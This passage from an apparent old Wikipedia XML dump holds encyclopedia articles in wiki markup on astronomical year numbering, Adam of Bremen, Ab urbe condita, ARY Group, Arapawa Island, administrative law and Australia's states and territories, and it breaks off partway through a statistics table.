[[Category:Herbicides]]
[[Category:Teratogens]]
[[Category:Defoliants]]
[[Category:Human rights abuses]]
[[Category:Landmark cases]]

[[da:Agent Orange]]
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    <title>Astounding Science Fiction</title>
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      <text xml:space="preserve">#REDIRECT [[Astounding (magazine)]]</text>
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  <page>
    <title>Astronomical year numbering</title>
    <id>2551</id>
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        <username>Joe Kress</username>
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      <comment>correct misconception, unlink non-historical years</comment>
      <text xml:space="preserve">'''Astronomical year numbering''' is based on [[Common Era|BCE/CE]] (or [[anno Domini|BC/AD]]) year numbering, but follows normal [[decimal]] [[integer]] numbering more strictly. Thus, it has a [[year zero|year 0]] and the years before that are designated with a minus sign '−'. The era designations BCE/CE or BC/AD are dropped. So the year 1 BCE is numbered 0, the year 2 BCE is numbered −1, and in general the year ''n'' BCE is numbered (1−''n''). The numbers of CE years are not changed, but CE (or AD) is not used, being replaced by either no sign or a positive sign. For normal calculation a [[0 (number)|number zero]] is often needed, here most notably when calculating the number of years in a period that spans the [[epoch (astronomy)|epoch]]; the end years need only be subtracted from each other.

The system is so named due to its use in [[astronomy]]. Few other sciences outside [[history]] deal with the time before year 1, exceptions being [[dendrochronology]], [[archaeology]] and [[geology]], the latter two of which use 'years before the present'. Although the absolute numerical values of astronomical and historical years only differ by one before year 1, this difference is critical when calculating astronomical events like eclipses or planetary conjunctions to determine when historical events which mention them occurred.

A zero year was first used by the [[eighteenth century]] [[France|French]] [[astronomer]]s [[Philippe de La Hire]] (1702) and [[Jacques Cassini]] (1740). However, both of these astronomers used the applicable BC/AD designations of [[Latin]] and [[French language|French]] with their year zero, thus near the epoch the years were designated 2 BC, 1 BC, 0, AD 1, AD 2, etc. They did not use −/0/+. During the [[nineteenth century]], astronomers designated years with either BC/0/AD or −/0/+. Astronomers did not exclusively use the −/0/+ system until the mid [[twentieth century]].

==See also==
*[[ISO 8601]]

{{num-stub}}
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[[da:Astronomiske tidsregning]]
[[Category:Specific calendars]]
[[Category:Astronomy]]</text>
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  <page>
    <title>Adam of Bremen</title>
    <id>2552</id>
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      <text xml:space="preserve">'''Adam of Bremen''' (also: '''Adam Bremensis''') was one of the most important [[Germany|German]] [[medieval]] [[chronicler]]s. He lived and worked in the second half of the [[11th century]]. He is most famous for his chronicle ''Gesta Hammaburgensis Ecclesiae Pontificum'' (''Deeds of Bishops of the Hamburg Church'').

==Background==

Little is known of his life other than hints from his own chronicles. He is believed to have come from [[Meissen]] ([[Latin]] ''Misnia'') in [[Saxony]]. The dates of his birth and death are uncertain, but he was probably born before 1050 and died on [[October 12]] of an unknown year (Possibly [[1081]], latest [[1085]]). Gathering from his chronicles, he was well familiar with a number of authors. The honorary name of ''Magister Adam'' shows that he has passed through all the stages of a higher education. It is probable that he was taught at the ''[[Magdeburg]]er Domschule''.

In 1066 or 1067 he was invited by archbishop [[Adalbert of Bremen]] to join the Church of Bremen, who Adalbert believed would improve the literary reputation of his see. Adam was accepted among the [[capitular]]s of Bremen, and by 1069 he appears as director of the cathedral's school. Soon thereafter he began to write the history of [[Archbishopric of Bremen|Bremen]]/[[Hamburg]] and of the northern lands in his ''Gesta''.

Adam of Bremen benefited from his position and the missionary activity of the church of Bremen to gather all kind of information on the history and the geography of northern [[Germany]]. He benefited from a stay at the court of [[Svend Estridson]] to find informations about the history and geography of Denmark, and the Scandinavian countries.

Bremen was a major trading town, and ships, traders and missionaries went from there to many different locations. The earlier archbishopric seat in Hamburg had been attacked and destroyed several times, and thereafter the sees of Hamburg and Bremen were combined for protection. For three hundred years Hamburg, beginning with bishop [[Ansgar]], the Hamburg-Bremen archbishopric had been designated as the &quot;Mission of the North&quot; and had jurisdiction over all missions in [[Scandinavia]], North-Western [[Russia]], [[Iceland]] and [[Greenland]]. Then the archbishop of Hamburg-Bremen had a falling-out with [[Pope Paschal II|the pope]] and in [[1105]] a separate archbishopric for the North was established in [[Lund]].

==Gesta==

Adam of Bremen's best-known work is the ''Gesta Hammaburgensis Ecclesiae Pontificum'' (''Deeds of Bishops of the Hamburg Church''), which he began only after the death of the arch-bishop Adalbert. It consists of four volumes about the history of the archbishopry of Hamburg-Bremen, and the isles of the north. The first three mainly consist of [[history]] and the last one is mainly on [[geography]]. Adam based his works in part on [[Einhard]], [[Cassiodorus]] and other earlier historians' accounts, as he had the whole library of the church of Bremen at his hands. The first edition was completed in 1075/1076, of which he continued to revise and update until his death in the 1080s.

The first book gives a history from [[788]] onwards of the Church in Hamburg-Bremen, and the Christian mission in the North. This is the chief source of knowledge of the north until the 13th century. The second book continues the history, and further deals with German history between 940 and 1045. The third book is about the deeds of archbishop Adalbert and is considered a milestone in medieval biographical writing.

The fourth book, ''Descriptio insularum Aquilonis'', completed approximately in [[1075]], is about the geography, people and customs of Scandinavia, as well as updates of the progress of Christian missionaries there.  Adam was a proponent of his Churches role in Christianizing the northern people. Scandinavia had only just recently been explored by missionaries, and while perhaps created to inspire and guide future missionaries, its balanced and accurate descriptions make it one of the most important sources about pre-Christian Scandinavia. It is also the first known European record that mentions [[Vinland]], a land centuries later known as [[North America]].

==See also==
* [[Vinland]]
* [[Chronicon Slavorum]]
* [[Temple at Uppsala]]

==Sources==
* Adam of Bremen, ''History of the Archbishops of Hamburg-Bremen'', English translation by F.J. Tschan, Columbia UP, 2002, ISBN 0231125755.
* Adam of Bremen, [[s:de:ADB:Adam von Bremen|''Allgemeine Deutsche Biographie'']], online version. German.
* Adam of Bremen, [http://hbar.phys.msu.su/gorm/chrons/bremen.htm ''Gesta Hammaburgensis ecclesiae pontificum''], online version. Latin.

[[Category:Chroniclers]]

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    <title>Ab urbe condita</title>
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      <text xml:space="preserve">:''For the book ''Ab Urbe Condita'' see ''[[Ab Urbe Condita (book)]]''.''

'''''Ab urbe condita''''' (AUC or a.u.c.) is [[Latin]] for &quot;from [[founding of Rome|the founding]] of the city&quot;{{Ref|numbering}} (of [[Rome]]), supposed to have happened in [[753 BC]]. It was one of several methods used for dating years in the Roman era, when the [[Roman calendar]] and the [[Julian calendar]] were in use. It appears to have  been widely replaced by the [[anno Diocletiani]] (A.D.) system which in turn was gradually superseded by the [[anno Domini]] (A.D.) system of [[Dionysius Exiguus]]. Some modern historians claim that an era ''ab urbe condita'' (from the founding of the city of Rome) did not, in reality, exist in the ancient world, and the method of reckoning the years in this way is modern.

==Significance==
[[Image:Antoninianus Philip the Arab - Seculum Novum.jpg|thumb|300px|A coin struck under [[Philip the Arab]] to celebrate ''Saeculum Novum''.]]
From emperor [[Claudius]] onwards [[Marcus Terentius Varro|Varro]]'s calculation (see below) superseded other contemporary calculations. Celebrating the anniversary of the city became part of imperial [[propaganda]]. Claudius was the first to hold magnificent celebrations in honor of the city's anniversary, in [[47]] AD, eight hundred years after the supposed founding of the city. In 147/8 [[Antoninus Pius]] held similar celebrations, and in [[248]] [[Philip the Arab]] celebrated Rome's first [[millennium]], together with [[Ludi saeculares]] for [[Rome]]'s alleged tenth [[saeculum]]. [[Coin]]s from his reign commemorate the celebrations. A coin by a contender for the imperial throne, [[Pacatianus]], explicitely states '1001', which is an indication that the citizens of the Empire had a sense of the beginning of a new era, a ''Saeculum Novum''. When the Roman Empire turned [[Christianity|Christian]] in the following century, this imagery came to be used in a more [[metaphysics|metaphysical]] sense.

==Calculation by Varro==
The traditional date for the [[founding of Rome]] of [[April 21]], [[753 BC]] was initiated by [[Marcus Terentius Varro|Varro]]. In practice the Romans typically dated events from the reign year of the current ruler (during the republic a [[consul]] had a term of a single year). Varro may have used the consular list with its mistakes, and called the year of the first consuls &quot;245 ''ab urbe condita''&quot; (a.u.c.), accepting the 244-year interval from [[Dionysius of Halicarnassus]] for the kings after the foundation of Rome. The correctness of Varro's calculation has not been proved scientifically but is still used worldwide.

==Alternative calculations==
According to [[Velleius Paterculus]] (VIII, 5) The foundation of Rome took place 437 years after the capture of Troy ([[1182 BC]]), It took place shortly before an [[eclipse]] of the Sun that was observed at Rome on [[June 25]], [[745 BC]] and had a magnitude of 50.3%. Its beginning occurred at 16:38, its middle at 17:28, and its end at 18:16.

However, according to Lucius Tarrutius of Firmum [[Romulus and Remus]] were conceived in the womb on the 23rd day of the [[Egyptian calendar|Egyptian month]] Choiac, at the time of a total [[eclipse]] of the [[Sun]]. (This eclipse occurred on [[June 15]], [[760s BC|763 BC]], with a magnitude of 62.5% at Rome. Its beginning took place at 6:49, its middle at 7:47 and its end at 8:51.) He was born on the 21st day of the month Thoth. The first day of Thoth fell on [[March 2]] in that year (Prof. E.J. Bickerman, [[1980]]: 115). It means that [[Rhea Silvia]]'s pregnancy lasted for 281 days. Rome was founded on the ninth day of the month Pharmuthi, which was the [[April 21|21st of April]], as universally agreed. The Romans add that about the time Romulus started to build the city, an eclipse of the Sun was observed by Antimachus, the Teian poet, on the 30th day of the lunar month. This eclipse on [[June 25]], [[745 BC]] (see above) had a magnitude of 54.6% at Teos, Asia Minor. It started at 17:49 it was still eclipsed at sunset, at 19:20. Romulus vanished in the 54th year of his life, on the Nones of Quintilis (July), on a day when the [[Sun]] was darkened. The day turned into night, which sudden darkness was believed to be an eclipse of the Sun. It occurred on [[July 17]], [[709 BC]], with a magnitude of 93.7%, beginning at 5:04 and ending at 6:57. (All these eclipse data have been calculated by Prof. Aurél Ponori-Thewrewk, retired director of the Planetarium of Budapest.) Plutarch placed it in the 37th year from the foundation of Rome, on the fifth of our [[July]], then called Quintilis, on &quot;Caprotine Nones,&quot; Livy (I, 21) also states that Romulus ruled for 37 years. He was slain by the senate or disappeared in the 38th year of his reign. Most of these have been recorded by [[Plutarch]] (''Lives'' of Romulus, Numa Pompilius and Camillus), Florus (Book I, I), Cicero (''The Republic'' VI, 22: ''Scipio's Dream''), Dio (Dion) Cassius and Dionysius of Halicarnassus (L. 2). Dio in his ''Roman History'' (Book I) confirms our data by telling that Romulus was in his 18th year of age whan he had founded Rome. Therefore, three eclipse records prove that Romulus reigned from [[746 BC]] to [[709 BC]], and Rome was founded in [[745 BC]].

[[Quintus Fabius Pictor|Q. Fabius Pictor]] (c. [[250 BC]]) tells that Roman consuls started for the first time 239 years after Rome's foundation (''Enciclopedia Italiana,'' XIV, [[1951]]: 173). Livy (I, 60) gives almost the same, 240 years for that interval. [[Polybius]], ''The Histories'' (III, 22. 1-2) tells that 28 years after the expulsion of the last Roman king (or, in the 28th year, we believe), [[Xerxes I|Xerxes]] crossed over to [[Greece]], and that event is fixed to [[478 BC]] by two [[solar eclipse]]s. 

According to all these, the a.u.c. system should be handled accordingly, with due precaution.

==See also==
* [[List of Latin phrases]]

==Footnotes==

#{{note|numbering}}Literally translated as &quot;From the city having been founded.&quot;

[[Category:Latin phrases]]
[[Category:Roman calendar]]

[[bg:Ab urbe condita]]
[[cy:Ab urbe condita]]
[[de:Ab urbe condita]]
[[es:Ab urbe condita]]
[[fr:Ab urbe condita]]
[[id:Ab urbe condita]]
[[it:Ab Urbe condita]]
[[hu:Ab urbe condita]]
[[nl:Ab Urbe Condita (jaartelling)]]
[[ja:ローマ建国紀元]]
[[pl:Ab urbe condita]]
[[ru:История от основания города]]
[[sl:Ab urbe condita]]
[[sv:Ab Urbe Condita]]</text>
    </revision>
  </page>
  <page>
    <title>American Political Scandals</title>
    <id>2557</id>
    <revision>
      <id>15900956</id>
      <timestamp>2004-02-10T08:02:06Z</timestamp>
      <contributor>
        <username>Jengod</username>
        <id>12028</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Political scandals of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>ARY Group</title>
    <id>2558</id>
    <revision>
      <id>41593504</id>
      <timestamp>2006-02-28T10:32:21Z</timestamp>
      <contributor>
        <username>Spasage</username>
        <id>472206</id>
      </contributor>
      <text xml:space="preserve">The '''ARY Group''' is a [[Middle East]] based company owned by a [[Pakistani]] businessman, Haji [[Abdul Rahman Yaqoob]]. The ARY Group is into various sectors, which include:
*[[Retail]] - ''Jewellery shops, Cash &amp; Carry's''
*[[Residential]] - ''Estate Agencies in [[Dubai]]''
*[[TV Channels]] - ''[[ARY Digital]], [[ARY One World]], The Musik, Q TV &amp; ARY Sports, which are shown worldwide on six satelites.''


{{retail-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Arapawa Island</title>
    <id>2559</id>
    <revision>
      <id>24062331</id>
      <timestamp>2005-09-26T08:28:27Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <comment>map added</comment>
      <text xml:space="preserve">[[Image:NZ-Arapawa I.png|thumb|160px|right|Location of Arapawa Island]]
'''Arapawa Island''' is a small [[island]] located in the [[Marlborough Sounds]], at the north east tip of the [[South Island]] of [[New Zealand]].  
The island has a land area of 75 km&lt;sup&gt;2&lt;/sup&gt; (18500 acres). [[Queen Charlotte Sound, New Zealand|Queen Charlotte Sound]] defines its western side, while to the south lies [[Tory Channel]], which is on the sea route from [[Wellington]] in the [[North Island]] to [[Picton, New Zealand|Picton]]).

It was from a hill on Arapawa Island in 1770 that Captain [[James Cook]] first saw the sea passage from the [[Pacific Ocean]] to the [[Tasman Sea]], which was named [[Cook Strait]].
This discovery banished the fond notion of geographers that there existed a great southern [[continent]].

From the late [[1820s]] until the mid [[1960s]], Arapawa Island was a base for [[whaling]] in the Sounds.
Perano Head on the east coast of the island was the principal whaling station for the area.
The houses built by the Perano family are now operated as tourist accommodation.

Arapawa Island is known for the breeds of pigs, sheep and goats found only on the island. The origin of these breeds is unknown, and is a matter of some speculation. Common suggestions are that they are old English breeds introduced by the early whalers, or by Captain Cook or other early explorers, which are now extinct in [[England]].

==External links==

*[http://www.arapawahomestead.co.nz/ Perano Homestead]

[[Category:Islands of New Zealand]]
[[category: Marlborough, New Zealand]]</text>
    </revision>
  </page>
  <page>
    <title>Administrative law</title>
    <id>2560</id>
    <revision>
      <id>42042059</id>
      <timestamp>2006-03-03T11:46:47Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Administrative law''' is the body of [[law]] that arises from the activities of [[government agency | administrative agencies]] of [[government]]. [[Government agency ]] action can include [[rulemaking]], [[adjudication]], or the [[enforcement]] of a specific [[regulation | regulatory]] agenda.  Administrative law is considered a branch of [[public law]].  As a body of law, administrative law deals with the decision-making of administrative units of government (e.g., [[tribunal]]s, [[board]]s or [[commission]]s) that are part of a state [[regulation |regulatory scheme]] in such areas as  [[international trade]], [[manufacturing]], the [[natural environment|environment]], [[tax|taxation]], [[broadcasting]], [[immigration]] and [[transport]]. Administrative law  expanded greatly during the [[twentieth century]], as legislative bodies world-wide created more [[government agency | government agencies]] to regulate the increasingly complex social, economic and political spheres of human interaction. 

==Administrative law in common law countries==

Generally speaking, most countries that follow the principles of [[common law]] have developed procedures for [[judicial review]] that limit the reviewability of decisions made by administrative law bodies.  Often these procedures are coupled with legislation or other [[common law]] doctrines that establish standards for proper [[rulemaking]].

Administrative law may also apply to review of decisions of so-called quasi-public bodies, such as non-profit corporations, disciplinary boards, and other decision-making bodies that effect the legal rights of members of a particular group or entity. 

While administrative decision-making bodies are often controlled by larger governmental units, their decisions could be reviewed by a [[court]] of general [[jurisdiction]] under some principle of [[judicial review]] based upon [[due process]] (United States) or [[fundamental justice]] (Canada). Judicial review of administrative decision, it must be noted, is different from an appeal. When sitting in review of a decision, the Court will only look at the method in which the decision was arrived at, whereas in appeal the correctness of the decision itself will be under question. This difference is vital in appreciating administrative law in common law countries.  

The scope of [[judicial review]] may be limited to certain questions of [[fairness]], or whether the administrative action is [[ultra vires]]. In terms of ultra vires actions in the broad sense, a reviewing court may set aside an administrative decision if it is [[patently unreasonable]] (under Canadian law), [[Wednesbury unreasonableness |'' Wednesbury '' unreasonable]] (under British law), or arbitrary and capricious under (U.S. [[Administrative Procedure Act]] and New York State law). Administrative law, as laid down by the Supreme Court in India, has also recognized two more grounds of judicial review which were recognized but not applied by English Courts viz. [[legitimate expectation]] and [[proportionality]]. 

The powers to review administrative decisions are usually established by statute, but were originally developed from the royal [[prerogative writ]]s of [[English law]], such as the writ of [[mandamus]] and the writ of [[certiorari]]. In certain [[Common Law]] jurisdictions, such as [[India]] or [[Pakistan]], the power to pass such writs is a Constitutionally guaranteed power. This power is seen as fundamental to the power of [[judicial review]] and an aspect of the independent [[judiciary]]. 

=== Administrative law in the United States===
''Main Article: [[American administrative law]]''

[[Image:250px-HQFTC.jpg|thumb|right|Administrative law in the United States often relates to, or arises from, so-called &quot;independent agencies&quot;- such as the Federal Trade Commission (&quot;FTC&quot;). Here is FTC's headquarters in Washington D.C.]]
In the [[United States]] legal system, many [[government agency | government agencies]] are organized under the [[executive branch]] of [[government]], rather than the [[judicial branch|judicial]] or [[legislative branch]]es. The [[United States Federal Executive Departments|departments]] under the control of the [[executive branch]], and their sub-units, are often referred to as [[government agency | executive agencies]]. The so-called [[government agency | executive agencies]] can be distinguished from the many important and powerful [[Independent Agencies of the United States Government|independent agencies]], that are created by [[statutes]] enacted by the [[U.S. Congress]].  Congress has also created [[Article I and Article III tribunals|Article I judicial tribunals]] to handle some areas of administrative law.  

The actions of [[government agency | executive agencies]] [[Independent Agencies of the United States Government|independent agencies]] are the main focus of American administrative law. In response to the rapid creation of new [[Independent Agencies of the United States Government|independent agencies]] in the early [[twentieth century]] (see discussion below),[[U.S. Congress | Congress]] enacted the [[Administrative Procedure Act]] (APA) in [[1946]]. Many of the [[Independent Agencies of the United States Government| independent agencies]] operate as miniature versions of the [[Federal Government of the United States | tripartite federal government]], with the authority to &quot;legislate&quot; (through [[rulemaking]]), [[adjudication | &quot;adjudicate&quot;]] (through administrative hearings), and to [[Executive (government)|&quot;execute&quot;]] administrative goals (through agency enforcement personnel). Because the [[United States Constitution]] sets no limits on this tripartite authority of [[government agency |administrative agencies]],[[U.S. Congress | Congress]] enacted the [[Administrative Procedure Act|APA]] to establish fair administrative law procedures to comply with the requirements of [[United States Constitution | Constitutional]] [[due process]].

The dominant [[U.S. Supreme Court]] case in the field of American administrative law is ''[[Chevron U.S.A., Inc. v. Natural Resources Defense Council, Inc.|Chevron U.S.A. v. Natural Resources Defense Council]]'', {{ussc|467|837|1984}}.

[[es:Derecho administrativo]]</text>
    </revision>
  </page>
  <page>
    <title>American political scandals</title>
    <id>2561</id>
    <revision>
      <id>15900960</id>
      <timestamp>2004-02-10T07:31:34Z</timestamp>
      <contributor>
        <username>Jengod</username>
        <id>12028</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Political scandals of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>States and territories of Australia</title>
    <id>2562</id>
    <revision>
      <id>38402980</id>
      <timestamp>2006-02-06T02:31:01Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>cats</comment>
      <text xml:space="preserve">The '''Australian States and Territories''' make up the [[Australia|Commonwealth of Australia]] under a [[federalism|federal]] system of government.

[[Image:AustraliaNumbered.png|States and Territories of mainland Australia: 1. Australian Capital Territory; 2. New South Wales; 3. Victoria; 4. Queensland; 5. South Australia; 6. Western Australia; 7. Tasmania; 8. Northern Territory|right|400px]]

==States and Territories of Australia==
''(Listed with capital city and number corresponding to map, where applicable)''

===States===
*[[Image:Flag of New South Wales.svg|25x15px]] [[New South Wales]] (NSW) ([[Sydney]]) (#2)
*[[Image:Flag of Victoria (Australia).svg|25x15px]] [[Victoria (Australia)|Victoria]] (VIC) ([[Melbourne]]) (#3)
*[[Image:Flag of Queensland.svg|25x15px]] [[Queensland]] (QLD) ([[Brisbane]]) (#4)
*[[Image:Flag of South Australia.svg|25x15px]] [[South Australia]] (SA) ([[Adelaide]]) (#5)
*[[Image:Flag of Western Australia.svg|25x15px]] [[Western Australia]] (WA) ([[Perth, Western Australia|Perth]]) (#6)
*[[Image:Tasmania flag.png|25x15px]] [[Tasmania]] (TAS) ([[Hobart]]) (#7)

===Mainland territories===

*[[Image:Australian Capital Territory flag.png|25x15px]] [[Australian Capital Territory]] (ACT) ([[Canberra]]) (#1)
*[[Image:Northern Territory flag.png|25x15px]] [[Northern Territory]] (NT) ([[Darwin, Northern Territory|Darwin]]) (#8)
*[[Image:Australian Capital Territory flag.png|25x15px]] [[Jervis Bay Territory]]

===External territories===

*[[Image:Flag of Australia.svg|25x15px]] [[Ashmore and Cartier Islands]]
*[[Image:Norfolk island flag large.png|25x15px]] [[Norfolk Island]]
*[[Image:Flag of Australia.svg|25x15px]] [[Christmas Island]]
*[[Image:Flag of Australia.svg|25x15px]] [[Cocos Islands|Cocos and Keeling Islands]]
*[[Image:Flag of Australia.svg|25x15px]] [[Coral Sea Islands Territory]]
*[[Image:Flag of Australia.svg|25x15px]] [[Heard Island and McDonald Islands|Heard and McDonald Islands]]
*[[Image:Flag of Australia.svg|25x15px]] [[Australian Antarctic Territory]]

:''See also:'' [[Ranked list of Australian states]]

==Background and overview==

The states originated as separate British colonies prior to Federation (in 1901). Their powers are protected by the [[Constitution of Australia|Australian constitution]], and Commonwealth legislation only applies to the states where permitted by the constitution. The territories, by contrast, are from a constitutional perspective directly subject to the Commonwealth government. The Australian Parliament has powers to legislate in the territories that it does not possess in the states.

Most of the territories are directly administered by the Commonwealth government, while three (the Northern Territory, the Australian Capital Territory and Norfolk Island) administer themselves. In the self-governing territories the Australian Parliament retains the full power to legislate, and can override laws made by the territorial institutions, which it has done on rare occasion. For the purposes of Australian (and joint Australia-New Zealand) intergovernmental bodies, the Northern Territory and the Australian Capital Territory are treated as a state.

Furthermore, the distribution of powers between the Commonwealth and the territories is different from that between the Commonwealth and the states. In the Northern Territory, the Commonwealth retains the power to directly administer uranium mining and [[indigenous Australians|Aboriginal]] lands, powers which it does not possess with respect to the states.

Each state has a Governor, appointed by the [[Elizabeth II of the United Kingdom|Queen]], which by convention she does on the advice of the state Premier. The Administrators of the Northern Territory and of Norfolk Island are, by contrast, appointed by the [[Governor-General of Australia|Governor-General]]. The Australian Capital Territory has neither a Governor or Administrator, but the Governor-General exercises some powers that in other jurisdictions are exercised by the Governor of a state or Administrator of a territory, such as the power to dissolve the Legislative Assembly.

Each state has a [[bicameral]] [[Parliament]] except Queensland, which abolished its upper house in 1922. The lower house is called the Legislative Assembly, except in South Australia and Tasmania, where it is called the House of Assembly. Tasmania is the only state to use [[proportional representation]] for elections to its lower house; all others elect members from single member constituencies, using the
[[alternative vote]]. The upper house is called the Legislative Council, and
is generally elected from multi-member constituencies using proportional
representation. The three self-governing territories, the ACT, the Northern
Territory and Norfolk Island, have [[unicameral]] Legislative Assemblies.

The head of government of each state is called the Premier, appointed by the state's Governor. In normal circumstances the Governor will appoint as Premier whoever leads the party or coalition which exercises control of the lower house (in the case of Queensland, the only house) of the state Parliament. However, in times of constitutional crisis, the Governor can appoint someone else as Premier. The head of government of a self-governing territory is called the Chief Minister, and likewise they are appointed by the territory's Administrator, in normal circumstances to whoever controls the territory's Legislative Assembly.

==Compared Terminology==
{|border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#cccccc&quot;
! rowspan = &quot;1&quot; | Entity
! rowspan = &quot;1&quot; | Executive
! rowspan = &quot;1&quot; | Head of Government
! colspan = &quot;2&quot; | Parliament
! colspan = &quot;2&quot; | Member of Parliament* 
|- style=&quot;background: #efefef;&quot;
! rowspan = &quot;1&quot; | [[Parliament of Australia|Australia]]
! rowspan = &quot;1&quot; | Governor-General
! rowspan = &quot;1&quot; | Prime Minister
! rowpos = &quot;3&quot; colpos=&quot;4&quot; | Senate
! rowpos = &quot;3&quot; colpos=&quot;5&quot; | House of Representatives
! rowpos = &quot;3&quot; colpos=&quot;6&quot; | Senator
! rowpos = &quot;3&quot; colpos=&quot;6&quot; | MHR
|- style=&quot;background: #f9f9f9;&quot;
!| [[Parliament of New South Wales|New South Wales]]
| rowspan=&quot;6&quot; | Governor
| rowspan=&quot;6&quot; | Premier
| rowspan=&quot;2&quot; | Legislative Council
| rowspan=&quot;3&quot; | Legislative Assembly
| rowspan=&quot;2&quot; | MLC
| rowspan=&quot;2&quot; | MLA
|- style=&quot;background: #f9f9f9;&quot;
!| [[Parliament of Victoria|Victoria]]
|- style=&quot;background: #f9f9f9;&quot;
!| [[Parliament of Queensland|Queensland]]
| None
| None
| MP
|- style=&quot;background: #f9f9f9;&quot;
!| [[Parliament of South Australia|South Australia]]
| rowspan=&quot;3&quot; | Legislative Council
| rowspan=&quot;2&quot; | House of Assembly
| rowspan=&quot;3&quot; | MLC
| rowspan=&quot;2&quot; | MHA
|- style=&quot;background: #f9f9f9;&quot;
!| [[Tasmania]]
|- style=&quot;background: #f9f9f9;&quot;
!| [[Parliament of Western Australia|Western Australia]]
| rowspan=&quot;3&quot; | Legislative Assembly
| rowspan=&quot;3&quot; | MLA
|- style=&quot;background: #f9f9f9;&quot;
!| [[Australian Capital Territory Legislative Assembly|Australian Capital Territory]]
| Governor-General
| rowspan=&quot;2&quot; | Chief Minister
| rowspan=&quot;2&quot; | None
| rowspan=&quot;2&quot; | None
|- style=&quot;background: #f9f9f9;&quot;
!| [[Northern Territory Legislative Assembly|Northern Territory]]
| Administrator
|- style=&quot;background: #f9f9f9;&quot;
| rowspan = &quot;1&quot; colspan = &quot;7&quot; | *''Note: The abbreviation '''MP''' is an acceptable, and indeed more common term for members of each lower house.''
|}

== Governors of States and Administrators of Territories ==
{{main|Governors of the Australian states}}

*[[Governor of New South Wales]] - Her Excellency Professor [[Marie Bashir]] AC; appointed March 2001
*[[Governor of Victoria]] - His Excellency [[John Landy]], AC MBE; appointed October 2001
*[[Governor of South Australia]] - Her Excellency [[Marjorie Jackson-Nelson]] AC CVO MBE; appointed November 2001
*[[Governor of Queensland]] - Her Excellency Ms [[Quentin Bryce]] AC; appointed July 2003
*[[Governor of Tasmania]] - His Excellency [[William Cox]] AC RFD ED; appointed December 2004
*[[Governor of Western Australia]] - His Excellency [[Ken Michael|Dr Ken Michael]] AM; appointed October 2005
*[[Administrator of the Northern Territory of Australia|Administrator of the Northern Territory]] - Mr [[Ted Egan]] AM; appointed October 2003
*[[Administrator of Norfolk Island]] - The Honourable [[Grant Tambling]]; appointed November 2003

== Premiers and Chief Ministers of States and Territories ==
{{main|Premiers of the Australian states}}
*[[Premier of Queensland]] - The Hon [[Peter Beattie]] MP ([[Australian Labor Party|ALP]]); since June 1998
*[[Premier of Victoria]] - The Hon [[Steve Bracks]] MLA  ([[Australian Labor Party|ALP]]); since October 1999
*[[Chief Minister of the Northern Territory of Australia]] - Ms [[Clare Martin]] MLA ([[Australian Labor Party|ALP]]); since August 2001
*[[Chief Minister of the Australian Capital Territory]] - Mr [[Jon Stanhope]] MLA ([[Australian Labor Party|ALP]]); since November 2001
*[[Premier of South Australia]] - The Hon [[Mike Rann]] MHA ([[Australian Labor Party|ALP]]); since March 2002
*[[Premier of Tasmania]] - The Hon [[Paul Lennon]] MHA ([[Australian Labor Party|ALP]]); since March 2004
*[[Premier of New South Wales]] - The Hon [[Morris Iemma]] MLA  ([[Australian Labor Party|ALP]]); since August 2005
*[[Premier of Western Australia]] - The Hon [[Alan Carpenter]] MLA  ([[Australian Labor Party|ALP]]); since January 2006

== Parliaments of States and Territories ==
{{main|Parliaments of the Australian states and territories}}
*[[Parliament of New South Wales]]
*[[Parliament of Queensland]]
*[[Parliament of South Australia]] 
*[[Parliament of Tasmania]]
*[[Parliament of Victoria]]
*[[Parliament of Western Australia]]
*[[Northern Territory Legislative Assembly]]
*[[Australian Capital Territory Legislative Assembly]]

== State and Territory police forces ==
{{main|Law enforcement in Australia}}
*[[New South Wales Police]]
*[[Northern Territory Police]]
*[[Queensland Police]]
*[[South Australia Police]]
*[[Tasmania Police]]
*[[Victoria Police]]
*[[Western Australia Police]]

==State and territory statistics==

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#cccccc&quot;
| width=20% | State/territory || width=20% | Land area ([[Square kilometre|km²]]) || width=20% | Population (2004) || width=20% | Density (persons/km²) || width=20% | Population % in capital
|-
|Australian Capital Territory || align=right | 2 358 &lt;small&gt;(rank 8th)&lt;/small&gt;|| align=right |  324 300 &lt;small&gt;(rank 7th)&lt;/small&gt;|| align=right |  137.53 &lt;small&gt;(rank 1st)&lt;/small&gt; || align=right | 100%* &lt;small&gt;(rank 1st)&lt;/small&gt;
|-
|New South Wales || align=right |  800 642 &lt;small&gt;(rank 5th)&lt;/small&gt;|| align=right |  6 760 000 &lt;small&gt;(rank 1st)&lt;/small&gt;|| align=right |  8.44 &lt;small&gt;(rank 3rd)&lt;/small&gt; || align=right | 63% &lt;small&gt;(rank 5th)&lt;/small&gt;
|-
|Victoria || align=right |  227 416 &lt;small&gt;(rank 6th)&lt;/small&gt;|| align=right |  5 002 300 &lt;small&gt;(rank 2nd)&lt;/small&gt;|| align=right |  22  &lt;small&gt;(rank 2nd)&lt;/small&gt; || align=right | 71% &lt;small&gt;(rank 4th)&lt;/small&gt;
|-
| Queensland || align=right |  1 730 648 &lt;small&gt;(rank 2nd)&lt;/small&gt;|| align=right |  3 919 500 &lt;small&gt;(rank 3rd)&lt;/small&gt;|| align=right |  2.26 &lt;small&gt;(rank 5th)&lt;/small&gt; || align=right | 46% &lt;small&gt;(rank 7th)&lt;/small&gt;
|-
| South Australia || align=right |  983 482 &lt;small&gt;(rank 4th)&lt;/small&gt;|| align=right |  1 537 900 &lt;small&gt;(rank 5th)&lt;/small&gt;|| align=right |  1.56 &lt;small&gt;(rank 6th)&lt;/small&gt; || align=right | 73.5% &lt;small&gt;(rank 2nd)&lt;/small&gt;
|-
